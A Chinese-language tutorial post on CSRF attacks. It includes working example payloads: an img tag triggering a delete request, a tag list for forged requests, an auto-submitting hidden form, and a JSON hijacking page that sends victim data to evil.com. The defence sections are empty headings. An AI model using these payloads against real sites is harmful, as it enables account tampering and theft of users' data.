【安全系列】CSRF攻击与防御
一、CSRF概述
攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作。对于CSRF而言,它的攻击有两个关键点,跨站点的请求与请求是伪造的。
二、CSRF攻击的危害
篡改目标网站上的用户数据
盗取用户隐私数据
作为其他攻击向量的辅助攻击手法
传播CSRF蠕虫
三、攻击原理及过程
或者动态创建一个标签对象(如img、script、iframe)等,将他么的src指向这个链接www.a.com/blog/del?id=1,发出get请求。
然后欺骗用户访问存在XSS脚本漏洞的页面,则发生攻击。
【CSRF实现】
在恶意网站B上写一个CSRF页面(www.b.com/csrf.html)
使用<img src=http://www.a.com/blog/del?id=1 />
然后欺骗已经登陆了目标网站A的用户访问www.b.com/csrf.html页面,由于用户登陆访问过目标A网站不久,它的浏览器与A网站之间的session尚未过期,浏览器中的cookie包含了用户的认证信息。而在IE浏览器中,默认不允许目标A网站的本地cookie在跨域请求中携带,除非在HTTP的响应头设置P3P,这个响应头告诉浏览器允许网站跨域请求资源时带上目标A网站的用户本地cookie,而对于内存cookie是被默认允许的。
四、CSRF攻击分类
<link href=""><img src=""><img lowsrc=""><img dynsrc=""><meta http-equiv="refresh" content="0; url="><iframe src=""><frame src=""><script src=""><bgsound src=""><emben src=""><video src=""><audio src=""><a href=""><table background="">//CSS样式中@import ""background: url("")
<html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title></head><body><script type="text/javascript">function jsonpCallback(result) {alert(result.a);alert(result.b);alert(result.c);for (var i in result) {alert(i + ":" + result[i]);}}</script><script type="text/javascript" src="http://crossdomain.com/services.php?callback=jsonpCallback"></script></body></html>
//服务端返回JSON数据$arr=array('a'=>1,'b'=>2,'c'=>3,'d'=>4,'e'=>5);$result=json_encode($arr);//动态执行回调函数$callback=$_GET[‘callback‘];echo $callback."($result)";
<html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title></head><body><script type="text/javascript">function hijack(result) {var data = '';for (var i in result) {data += i + ': '+result[i];}new Image().src = "http://www.evil.com/JSONHiJacking.php?data=" + escape(data); //把数据发送到攻击者服务器上}</script><script type="text/javascript" src="http://crossdomain.com/services.php?callback=hijack"></script></body></html>
跨域获取隐私数据
跨域提交数据操作,做一些增、删、改之类的操作。
【跨域获取隐私数据】
如果目标网站的根目录存在crossdomain.xml文件,配置如下:
<cross-domain-policy><allow-access-from domain="*" /></cross-domain-policy>
配置中allow-access-from domain="*"表示允许任务域请求本域的资源,如果用户登陆了目标网站,被欺骗访问包含恶意Flash的网页时,隐私就有可能被盗走。
【跨域提交数据操作】
通常情况下会使用HTML CSRF攻击的形式发起攻击:
<form action='http://t.xxx.com/article/updatetweet'method='post'><input type="hidden" name="status" value="html_csrf_here."/></form><script>document.forms[0].submit();</script>
五、CSRF漏洞检测
六、CSRF攻击防御
